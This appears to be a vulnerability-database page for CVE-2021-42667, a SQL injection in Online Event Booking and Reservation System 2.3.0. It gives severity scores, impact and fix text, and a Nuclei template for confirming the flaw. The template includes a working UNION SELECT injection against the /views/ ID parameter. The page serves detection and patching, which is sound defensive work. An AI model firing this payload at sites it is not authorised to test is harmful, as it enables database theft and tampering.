HexBrain

Browse / CVEs / CVE-2021-42667

CVE-2021-42667· online event booking and reservation system project / online event booking and reservation system· CWE-89

Online Event Booking and Reservation System 2.3.0 - SQL Injection

criticalseverity
9.8CVSS score
16.2%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Online Event Booking and Reservation System 2.3.0 contains a SQL injection vulnerability in event-management/views. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest patch or update to a non-vulnerable version of the Online Event Booking and Reservation System.

How to confirm it

Send: POST /login.php ; GET /views/?v=USER&ID=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2Cmd5({{num}})%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%3B--%20-
Positive when: contains "{{md5(num)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2021-42667 -u <target>

The full check
id: CVE-2021-42667

info:
  name: Online Event Booking and Reservation System 2.3.0 - SQL Injection
  author: fxploit
  severity: critical
  description: |
    Online Event Booking and Reservation System 2.3.0 contains a SQL injection vulnerability in event-management/views. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update to a non-vulnerable version of the Online Event Booking and Reservation System.
  reference:
    - https://github.com/0xDeku/CVE-2021-42667
    - https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
    - https://github.com/TheHackingRabbi/CVE-2021-42667
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42667
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42667
    cwe-id: CWE-89
    epss-score: 0.16173
    epss-percentile: 0.96962
    cpe: cpe:2.3:a:online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_system:2.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: online_event_booking_and_reservation_system_project
    product: online_event_booking_and_reservation_system
  tags: cve,cve2021,sqli,authenticated,online_event_booking_and_reservation_system_project,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name={{username}}&pwd={{password}}
      - |
        GET /views/?v=USER&ID=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2Cmd5({{num}})%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%3B--%20- HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from